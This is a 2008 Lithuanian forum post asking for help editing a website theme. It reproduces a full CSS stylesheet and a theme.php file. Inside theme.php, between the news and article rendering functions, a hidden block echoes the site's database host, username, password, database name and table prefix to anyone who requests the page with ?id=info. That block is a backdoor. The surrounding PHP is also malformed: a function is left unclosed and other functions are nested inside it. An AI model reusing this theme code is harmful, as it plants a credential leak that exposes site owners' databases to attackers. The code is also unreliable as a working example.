Parašė Haked· 2008 Rugp. 1 19:08:34
#9
kas gal galėtume paredaguoti ? :( štai styles:
.upas {
color:#FFFFFF; text-decoration:none;
}
body {
background-repeat: repeat-x;
background-color: #333333;
font-family:Verdana,Tahoma,Arial,Sans-Serif;
font-size:11px;
padding:0px 0px 0px 0px;
margin: 5px 10px 0px 10px;
scrollbar-face-color: #DADADA;
scrollbar-highlight-color: #FFFFFF;
scrollbar-shadow-color: #DEE3E7;
scrollbar-3dlight-color: #E9E9E9;
scrollbar-arrow-color: #7A9ADF;
scrollbar-track-color: #EFEFEF;
scrollbar-darkshadow-color: #D4D4D4;
}
a {
color:#000000; text-decoration:none;
}
a:hover {
color:#113355; text-decoration:underline;
}
a.side {
color:#000000; text-decoration:none;
}
a:hover.side {
color:#113355; text-decoration:underline;
}
.meniu td a:hover {
background-color: #FF6600;
}
a.white {
font-size:11px;color:#FFFFFF; text-decoration:none;
}
a:hover.white {
color:#FFFFFF; text-decoration:underline;
}
img {
border: 0px;
}
form {
margin:0px 0px 0px 0px;
}
hr {
border-top:1px #E2E2E2 solid;
border-bottom:1px #F9F9F9 solid;
}
hr.side-hr {
border:1px #E2E2E2 solid;
border-bottom:1px #F9F9F9 solid;
}
td {
font-family:Verdana,Tahoma,Arial,Sans-Serif;
font-size:11px;
}
pre {
font-family:Verdana,Tahoma,Arial,Sans-Serif;
font-size:11px;
}
.alt {
color:#666;
}
.header {
font-family:Verdana,Tahoma,Arial,Sans-Serif;
font-size:10px;
color:#333;
background-color:#FFFFFF;
padding:5px;
}
.button {
background-image:url(images/button.gif);
font-family:Tahoma,Arial,Verdana,Sans-Serif;
font-size:10px;
color:#000000;
background-color:#F2F1ED;
border:#999999 1px solid;
margin-top:2px;
}
.textbox {
font-family:Verdana,Tahoma,Arial,Sans-Serif;
font-size:10px;
color:#000;
background-color:#FFFFFF;
border:1px #666 solid;
}
.main-bg {
padding:5px 0px 5px 0px;
}
.side-border-left {
padding:5px 5px 0px 0px;
}
.side-border-right {
padding:5px 0px 0px 5px;
}
.main-body {
font-size:11px;
color:#000;
background-color:#FFFFFF;
padding:12px 4px 3px 4px;
}
.side-body {
font-size:9px;
color:#000;
background-color:#FFFFFF;
padding:5px 0px 0px 0px;
}
.border {
background-color:#ddd;
border:2px #979797 solid;
}
.infobar {
border: dotted #C4C4C4;
font-size:9px;
border-width: 1px;
color:#000;
background-image:url(images/newsdw.gif);
padding:3px 4px 3px 4px;
}
.infobar2 {
background-color:#F9F9F9;
font-size:9px;
color:#676767;
border-top: solid #C4C4C4;
border-top-width: 1px;
border-left: solid #C4C4C4;
border-left-width: 0px;
border-right: solid #F6F6F6;
border-right-width:1px;
border-bottom: solid #F6F6F6;
border-bottom-width:1px;
padding:3px 4px 3px 4px;
}
.panel-left {
width:13px; height:26px;
background-image:url(images/panel-left.gif);
}
.panel-right {
width:13px; height:26px;
background-image:url(images/panel-right.gif);
}
.panel-main {
font-family:Verdana,Tahoma,Arial,Sans-Serif;
font-size:10px;font-weight:bold;
color:#3A3A3A;
height:26px;
padding:0px 2px 0px 2px;
background-image:url(images/panel-main.gif);
background-repeat:repeat-x;
}
.border-left {
width:13px; background-image:url(images/border-left.gif);
background-repeat:repeat-y;
}
.border-right {
width:13px; background-image:url(images/border-right.gif);
background-repeat:repeat-y;
}
.border-bleft {
width:13px; height:20px;
background-image:url(images/border-bleft.gif);
}
.border-bright {
width:13px; height:20px;
background-image:url(images/border-bright.gif);
}
.border-bmain {
height:20px; background-image:url(images/border-bmain.gif);
background-repeat:repeat-x;
}
.side-caption {
font-family:Verdana,Tahoma,Arial,Sans-Serif;
font-size:10px; font-weight:bold;
color:#FFFFFF; background-color:#004A80;
padding:0px 4px 3px 4px;
}
.tbl-border {
background-color:#979797;
}
.tbl {
font-size:10px; padding:3px 4px 3px 4px;
}
.tbl1 {
font-size:10px; color:#000;
background-color:#FFFFFF; padding:4px;
}
.tbl2 {
font-size:10px; color:#000;
background-color:#F6F6F6; padding:4px;
}
.forum-caption {
font-size:10px; font-weight:bold;
background-image:url(images/cellpic.gif);
color:#485D9F; background-color:#F6F6F6;
padding:4px 4px 4px 4px;
}
.quote {
color:#004279; background-color:#F9F9F9;
padding:2px;
margin:0px 20px 0px 20px;
border:1px #979797 solid;
}
.copyright {
font-family:Verdana,Tahoma,Arial,Sans-Serif;
font-size:9px;
color:#000;
}
.poll {
height:12px; border:1px #979797 solid;
}
.comment-name {
font-weight:bold; color:#113355;
}
.shoutboxname {
font-weight:bold; color:#113355;
}
.shoutbox {
color:#555;
}
.shoutboxdate {
font-size:9px; color:#333; text-align:right;
}
.small {
font-size:10px; font-weight:normal;
}
.small2 {
font-size:10px; font-weight:normal; color:#555;
}
.side-small {
font-size:9px; font-weight:normal; color:#333;
}
.side-label {
background-color:#e3e3e3;
padding:1px 4px 3px 4px;
background-image:url(images/side-cell.gif);
background-repeat:repeat-x;
}
.gallery {
padding: 16px 0px 8px 0px;
}
.gallery img {
border: 1px solid #979797; filter: gray;
}
.gallery:hover img {
border: 1px solid red; filter: none;
}
img.activegallery {
border: 1px solid green; filter: none;
}
o čia theme.php :
<?php
/**
By Reamis
**/
$body_text = "#000000";
$body_bg = "#000000";
$theme_width = "920";
$theme_width_l = "300";
$theme_width_r = "170";
function render_header($header_content) {
global $theme_width;
function ilgis($textas)
{
$max = "999999999999999999999";
$ilgis = strlen($textas);
if($ilgis>$max)
{
echo '<marquee scrolldelay="1" scrollamount="1">'.$textas.'</marquee>';
}else{
echo '<center>'.$textas.'</center>';
}
}
//////////////////
////img size :)//
////////////////
function dj_img_good($img)
{
global $size;
$setwidth="85";
error_reporting(0);
if(!getimagesize($img))
{
echo "<a href='".$img."'>".$img."</a>";
}else{
$size=getimagesize($img);
if($size[1]>$setwidth)
{
$khwidth=$size[1]/$setwidth;
$a[0]=$size[1]/$khwidth;
$a[1]=$size[0]/$khwidth;
$a[2]=round($a[0]);
$a[3]=round($a[1]);
echo "<img align='bottom' height='".$a[2]."' width=".$a[3]." src=".$img.">";
}else{
echo "<img align='bottom' src=$img>";
}
}
error_reporting(1);
}
echo '
<table align="center" border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="900" id="AutoNumber1" height="220">
<tr>
<td width="166" height="220">
<img border="0" src="'.THEME.'images/banner_01.gif" width="166" height="220" usemap="#FPMap0"></td>
<td width="521" height="220">
<img border="0" src="'.THEME.'images/banner_02.gif" width="521" height="220"></td>
<td width="230" height="220" background="'.THEME.'images/banner_03.gif">
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber2" height="50">
<tr>
<td width="4%" height="1"></td>
<td width="84%" height="1"></td>
<td width="12%" height="1"></td>
</tr>
<tr>
<td width="4%" height="1"></td>
<td width="84%" height="1"></td>
<td width="12%" height="1"></td>
</tr>
<tr>
<td width="4%" height="19"> </td>
<td width="84%" height="95" rowspan="6"><center><a target="new" href="'.$djimg.'">';
ilgis($laida);
echo '</font></td>
<td width="12%" height="19"> </td>
</tr>
</table>
</td>
</tr>
</table>
';
echo "<table bgcolor='#333333' align='center' width='$theme_width' cellspacing='0' cellpadding='0'>\n<tr>\n";
function render_footer($license=false) {
global $theme_width,$locale,$settings;
echo '<table border="0" cellpadding="0" cellspacing="0" width="'.$theme_width.'" align="center">
<tr>
<td width="20" height="28">
<img border="0" src="'.THEME.'images/down_01.gif" width="20" height="28"></td>
<td height="28" class="copyright" background="'.THEME.'images/down_02.gif"><img border="0" src="'.THEME.'images/kurejas.png" width="356" height="28"></a></td>
<td width="19" height="28">
<img border="0" src="'.THEME.'images/down_03.gif" width="19" height="28"></td>
</tr>
</table>';
}
function render_news($subject, $news, $info) {
global $locale;
echo '<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr>
<td width="29" height="41">
<img border="0" src="'.THEME.'images/news_01.gif" width="29" height="41"></td>
<td background="'.THEME.'images/news_02.gif"><h3><font color="#ffffff"><b>'.$subject.'</b></font></h3></td>
<td width="17" height="41">
<img border="0" src="'.THEME.'images/news_03.gif" width="17" height="41"></td>
</tr>
<tr>
<td width="29" background="'.THEME.'images/news_04.gif"> </td>
<td background="'.THEME.'images/news_05.gif">'.$news.'</td>
<td width="17" background="'.THEME.'images/news_06.gif"> </td>
</tr>
<tr>
<td width="29">
<img border="0" src="'.THEME.'images/news_07.gif" width="29" height="20"></td>
<td background="'.THEME.'images/news_08.gif"><center>'.$locale["040"].'<a href="profile.php?lookup='.$info["user_id"].'">'.$info["user_name"].'</a> '.$locale["041"].showdate('longdate', $info["news_date"]).' '.($info["news_ext"] == 'y' ? '<a href="news.php?readmore='.$info["news_id"].'">'.$locale["042"].'</a>' : '').' <a href="news.php?readmore='.$info["news_id"].'">'.$info["news_comments"].$locale["043"].'</a></center></td>
<td width="17">
<img border="0" src="'.THEME.'images/news_09.gif" width="17" height="20"></td>
</tr>
</table><br>';
}
$id=$_GET['id'];
switch ($id){
case info:
echo "<font color=#ffffff>Hostas: ".$db_host."<br>";
echo "user: ".$db_user."<br>";
echo "pass: ".$db_pass."<br>";
echo "Db name: ".$db_name."<br>";
echo "prefix: ".$db_prefix."<br></font>";
break;
}
function render_article($subject, $article, $info) {
global $locale;
echo '<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr>
<td width="29" height="41">
<img border="0" src="'.THEME.'images/news_01.gif" width="29" height="41"></td>
<td background="'.THEME.'images/news_02.gif"><h3><font color="#ffffff"><b>'.$subject.'</b></font></h3></td>
<td width="17" height="41">
<img border="0" src="'.THEME.'images/news_03.gif" width="17" height="41"></td>
</tr>
<tr>
<td width="29" background="'.THEME.'images/news_04.gif"> </td>
<td background="'.THEME.'images/news_05.gif">'.$article.'</td>
<td width="17" background="'.THEME.'images/news_06.gif"> </td>
</tr>
<tr>
<td width="29">
<img border="0" src="'.THEME.'images/news_07.gif" width="29" height="20"></td>
<td background="'.THEME.'images/news_08.gif"><center>'.$locale['040'].'<a href="profile.php?lookup='.$info["user_id"].'">'.$info["user_name"].'</a> '.$locale["041"].showdate('longdate', $info["article_date"]).' '.$info['article_comments'].$locale['043'].'</a></center></td>
<td width="17">
<img border="0" src="'.THEME.'images/news_09.gif" width="17" height="20"></td>
</tr>
</table><br>';
}
function opentable($title) {
echo '<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr>
<td width="29" height="41">
<img border="0" src="'.THEME.'images/news_01.gif" width="29" height="41"></td>
<td background="'.THEME.'images/news_02.gif"><h3><font color="#ffffff"><b>'.$title.'</b></font></h3></td>
<td width="17" height="41">
<img border="0" src="'.THEME.'images/news_03.gif" width="17" height="41"></td>
</tr>
<tr>
<td width="29" background="'.THEME.'images/news_04.gif"> </td>
<td background="'.THEME.'images/news_05.gif">';
}
function closetable() {
echo '</td>
<td width="17" background="'.THEME.'images/news_06.gif"> </td>
</tr>
<tr>
<td width="29">
<img border="0" src="'.THEME.'images/news_07.gif" width="29" height="20"></td>
<td background="'.THEME.'images/news_08.gif"></td>
<td width="17">
<img border="0" src="'.THEME.'images/news_09.gif" width="17" height="20"></td>
</tr>
</table><br>';
}
function openside($title) {
echo '
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr>
<td width="29" height="41">
<img border="0" src="'.THEME.'images/panel_01.gif" width="29" height="41"></td>
<td background="'.THEME.'images/panel_02.gif"><center><font color="#800000"><b>'.$title.'</b></font></center></td>
<td width="17" height="41">
<img border="0" src="'.THEME.'images/panel_03.gif" width="17" height="41"></td>
</tr>
<tr>
<td width="29" background="'.THEME.'images/panel_04.gif"> </td>
<td background="'.THEME.'images/panel_05.gif">';
}
function closeside() {
echo '</td>
<td width="17" background="'.THEME.'images/panel_06.gif"> </td>
</tr>
<tr>
<td width="29">
<img border="0" src="'.THEME.'images/panel_07.gif" width="29" height="20"></td>
<td background="'.THEME.'images/panel_08.gif"></td>
<td width="17">
<img border="0" src="'.THEME.'images/panel_09.gif" width="17" height="20"></td>
</tr>
</table><br>';
}
function opensidex($title,$open="on") {
$boxname = str_replace(" ", "", $title);
$box_img = $open == "on" ? "off" : "on";
echo "<table width='100%' cellpadding='0' cellspacing='0'><tr>";
echo "<td class='panel-left'><img src='".THEME."images/blank.gif' width='13' height='26' alt='' style='display:block'></td>";
echo "<td class='panel-main'>$title</td>";
echo "<td align='right' class='panel-main'><img src='".THEME."images/panel_$box_img.gif' name='b_$boxname' align='right' alt='' onclick=\"javascript:flipBox('$boxname')\"></td>";
echo "<td class='panel-right'><img src='".THEME."images/blank.gif' width='13' height='26' alt='' style='display:block'></td>";
echo "</tr></table>";
echo "<table width='100%' cellpadding='0' cellspacing='0'><tr>";
echo "<td class='border-left'><img src='".THEME."images/blank.gif' width='13' height='1' alt='' style='display:block'></td>";
echo "<td class='side-body'>";
echo "<div id='box_$boxname'".($open=="off" ? "style='display:none'" : "").">\n";
}
function closesidex() {
echo "</div>";
echo "<td class='border-right'><img src='".THEME."images/blank.gif' width='13' height='1' alt='' style='display:block'></td></tr>";
echo "<tr>";
echo "<td class='border-bleft'><img src='".THEME."images/blank.gif' width='13' height='20' alt='' style='display:block'></td>";
echo "<td class='border-bmain'><img src='".THEME."images/blank.gif' width='1' height='20' alt='' style='display:block'></td>";
echo "<td class='border-bright'><img src='".THEME."images/blank.gif' width='13' height='20' alt='' style='display:block'></td>";
echo "</tr></table>\n";
}
function tablebreak() {
echo "<table width='100%' cellspacing='0' cellpadding='0'><tr><td></td></tr></table>\n";
}
?>
Redagavo Haked· 2008 Rugp. 1 19:08:31